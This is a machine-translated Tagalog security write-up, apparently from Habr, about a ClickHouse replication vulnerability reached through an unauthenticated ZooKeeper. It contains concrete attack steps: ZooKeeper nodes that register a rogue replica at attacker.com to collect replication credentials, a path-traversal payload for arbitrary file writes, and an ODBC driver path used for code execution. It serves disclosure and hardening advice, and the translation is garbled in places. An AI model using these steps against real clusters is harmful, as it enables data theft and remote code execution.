Bakit kailangan mong panatilihing sarado ang mga zoo cage?

Bakit kailangan mong panatilihing sarado ang mga zoo cage?

Sasabihin ng artikulong ito ang kuwento ng isang napaka-espesipikong kahinaan sa ClickHouse replication protocol, at ipapakita rin kung paano mapalawak ang ibabaw ng pag-atake.

Ang ClickHouse ay isang database para sa pag-iimbak ng malalaking volume ng data, kadalasang gumagamit ng higit sa isang replika. Ang pag-cluster at pagtitiklop sa ClickHouse ay binuo sa itaas Apache ZooKeeper (ZK) at nangangailangan ng mga karapatan sa pagsulat.

Ang default na pag-install ng ZK ay hindi nangangailangan ng pagpapatunay, kaya libu-libong ZK server na ginamit upang i-configure ang Kafka, Hadoop, ClickHouse ay magagamit sa publiko.

Upang bawasan ang iyong pag-atake, dapat mong palaging i-configure ang pagpapatunay at awtorisasyon kapag nag-i-install ng ZooKeeper

Siyempre, mayroong ilang 0day based na Java deserializations, ngunit isipin na ang isang attacker ay maaaring magbasa at sumulat sa ZooKeeper, na ginagamit para sa ClickHouse replication.

Kapag na-configure sa cluster mode, sinusuportahan ng ClickHouse ang mga distributed na query DDL, na dumadaan sa ZK - para sa kanila ang mga node ay nilikha sa sheet /clickhouse/task_queue/ddl.

Halimbawa, lumikha ka ng isang node /clickhouse/task_queue/ddl/query-0001 may nilalaman:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

at pagkatapos nito, ang test table ay tatanggalin sa cluster server host1 at host2. Sinusuportahan din ng DDL ang pagpapatakbo ng CREATE/ALTER/DROP na mga query.

Nakakatakot ang tunog? Ngunit saan makakakuha ng mga address ng server ang isang umaatake?

Pagtitiklop ng ClickHouse gumagana sa antas ng mga indibidwal na talahanayan, upang kapag ang isang talahanayan ay ginawa sa ZK, ang isang server ay tinukoy na magiging responsable para sa pagpapalitan ng metadata sa mga replika. Halimbawa, kapag nagsasagawa ng isang kahilingan (Dapat i-configure ang ZK, chXX - pangalan ng replika, foobar - pangalan ng talahanayan):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

malilikha ang mga node haligi ΠΈ metadata.

Nilalaman /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Posible bang pagsamahin ang data mula sa cluster na ito? Oo, kung ang replication port (TCP/9009) sa server chXX-address ang firewall ay hindi isasara at ang pagpapatunay para sa pagtitiklop ay hindi mai-configure. Paano i-bypass ang authentication?

Ang isang umaatake ay maaaring lumikha ng isang bagong replika sa ZK sa pamamagitan lamang ng pagkopya ng mga nilalaman mula sa /clickhouse/tables/01-01/foobar/replicas/chXX at pagbabago ng kahulugan host.

Nilalaman /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Pagkatapos ay kailangan mong sabihin sa iba pang mga replika na mayroong isang bagong bloke ng data sa server ng umaatake na kailangan nilang kunin - isang node ay nilikha sa ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotonically growing counter, na dapat na mas malaki kaysa sa huli sa event log):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

saan source_replica β€” ang pangalan ng replika ng umaatake na ginawa sa nakaraang hakbang, block_id - tagatukoy ng bloke ng data, makuha - "get block" command (at narito ang mga utos para sa iba pang mga operasyon).

Susunod, ang bawat replica ay nagbabasa ng isang bagong kaganapan sa log at pumunta sa isang server na kinokontrol ng umaatake upang makatanggap ng isang bloke ng data (ang replication protocol ay binary, na tumatakbo sa ibabaw ng HTTP). server attacker.com ay makakatanggap ng mga kahilingan:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

kung saan ang XXX ay ang data ng pagpapatunay para sa pagtitiklop. Sa ilang mga kaso, ito ay maaaring isang account na may access sa database sa pamamagitan ng pangunahing ClickHouse protocol at HTTP protocol. Tulad ng nakita mo, ang ibabaw ng pag-atake ay nagiging kritikal na malaki dahil ang ZooKeeper, na ginagamit para sa pagtitiklop, ay naiwan nang walang pag-configure sa pagpapatotoo.

Tingnan natin ang pag-andar ng pagkuha ng isang bloke ng data mula sa isang replika, nakasulat ito nang buong kumpiyansa na ang lahat ng mga replika ay nasa ilalim ng wastong kontrol at may tiwala sa pagitan nila.

Bakit kailangan mong panatilihing sarado ang mga zoo cage?
code sa pagproseso ng pagtitiklop

Ang function ay nagbabasa ng isang listahan ng mga file, pagkatapos ang kanilang mga pangalan, laki, nilalaman, at pagkatapos ay isusulat ang mga ito sa file system. Ito ay nagkakahalaga ng hiwalay na paglalarawan kung paano nakaimbak ang data sa file system.

Mayroong ilang mga subdirectory sa /var/lib/clickhouse (default na direktoryo ng imbakan mula sa configuration file):

flag - direktoryo para sa pag-record mga watawat, ginagamit sa pagbawi pagkatapos ng pagkawala ng data;
tmp β€” direktoryo para sa pag-iimbak ng mga pansamantalang file;
user_files β€” ang mga operasyon na may mga file sa mga kahilingan ay limitado sa direktoryo na ito (INTO OUTFILE at iba pa);
metadata β€” sql file na may mga paglalarawan ng talahanayan;
preprocessed_configs - naprosesong derivative configuration file mula sa /etc/clickhouse-server;
data - ang aktwal na direktoryo kasama ang data mismo, sa kasong ito para sa bawat database ng isang hiwalay na subdirectory ay nilikha lamang dito (halimbawa /var/lib/clickhouse/data/default).

Para sa bawat talahanayan, isang subdirectory ang nilikha sa direktoryo ng database. Ang bawat column ay isang hiwalay na file depende sa format ng engine. Halimbawa para sa isang mesa foobarnilikha ng isang umaatake, ang mga sumusunod na file ay gagawin:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Inaasahan ng replica na makatanggap ng mga file na may parehong mga pangalan kapag nagpoproseso ng isang bloke ng data at hindi pinapatunayan ang mga ito sa anumang paraan.

Marahil ay narinig na ng matulungin na mambabasa ang tungkol sa hindi ligtas na pagsasama-sama ng file_name sa isang function WriteBufferFromFile. Oo, pinapayagan nito ang isang umaatake na magsulat ng arbitrary na nilalaman sa anumang file sa FS na may mga karapatan ng gumagamit clickhouse. Para magawa ito, dapat ibalik ng replica na kinokontrol ng attacker ang sumusunod na tugon sa kahilingan (idinagdag ang mga line break para sa madaling pag-unawa):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

at pagkatapos ng concatenation ../../../../../../../../../tmp/pwned isusulat ang file /tmp/pwned may nilalaman hellofromzookeeper.

Mayroong ilang mga opsyon para gawing remote code execution (RCE) ang kakayahan sa pagsulat ng file.

Mga panlabas na diksyunaryo sa RCE

Sa mas lumang mga bersyon, ang direktoryo na may mga setting ng ClickHouse ay naka-imbak na may mga karapatan ng gumagamit clickhouse default. Ang mga file ng setting ay mga XML file na binabasa ng serbisyo sa pagsisimula at pagkatapos ay ini-cache /var/lib/clickhouse/preprocessed_configs. Kapag naganap ang mga pagbabago, muling binabasa ang mga ito. Kung mayroon kang access sa /etc/clickhouse-server ang isang umaatake ay maaaring lumikha ng kanyang sarili panlabas na diksyunaryo uri ng maipapatupad at pagkatapos ay magsagawa ng arbitrary code. Ang mga kasalukuyang bersyon ng ClickHouse ay hindi nagbibigay ng mga karapatan bilang default, ngunit kung ang server ay unti-unting na-update, ang mga naturang karapatan ay maaaring manatili. Kung sinusuportahan mo ang isang ClickHouse cluster, suriin ang mga karapatan sa direktoryo ng mga setting, dapat itong pagmamay-ari ng user root.

ODBC hanggang RCE

Kapag nag-i-install ng isang pakete, ang isang gumagamit ay nilikha clickhouse, ngunit hindi nilikha ang home directory nito /nonexistent. Gayunpaman, kapag gumagamit ng mga panlabas na diksyunaryo, o para sa iba pang mga kadahilanan, ang mga administrator ay gumagawa ng isang direktoryo /nonexistent at bigyan ang gumagamit clickhouse access para magsulat dito (SSZB! tinatayang tagasalin).

Sinusuportahan ng ClickHouse ODBC at maaaring kumonekta sa iba pang mga database. Sa ODBC, maaari mong tukuyin ang path sa database driver library (.so). Pinahintulutan ka ng mga lumang bersyon ng ClickHouse na gawin ito nang direkta sa tagapangasiwa ng kahilingan, ngunit ngayon ay isang mas mahigpit na pagsusuri sa string ng koneksyon ang naidagdag sa odbc-bridge, kaya hindi na posible na tukuyin ang landas ng driver mula sa kahilingan. Ngunit maaari bang sumulat ang isang attacker sa home directory gamit ang vulnerability na inilarawan sa itaas?

Gumawa tayo ng file ~/.odbc.ini na may nilalaman tulad nito:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

pagkatapos ay sa startup SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ilo-load ang library test.so at nakatanggap ng RCE (salamat buglloc para sa tip).

Ang mga ito at iba pang mga kahinaan ay naayos sa ClickHouse na bersyon 19.14.3. Alagaan ang iyong ClickHouse at ZooKeepers!

Pinagmulan: www.habr.com

Magdagdag ng komento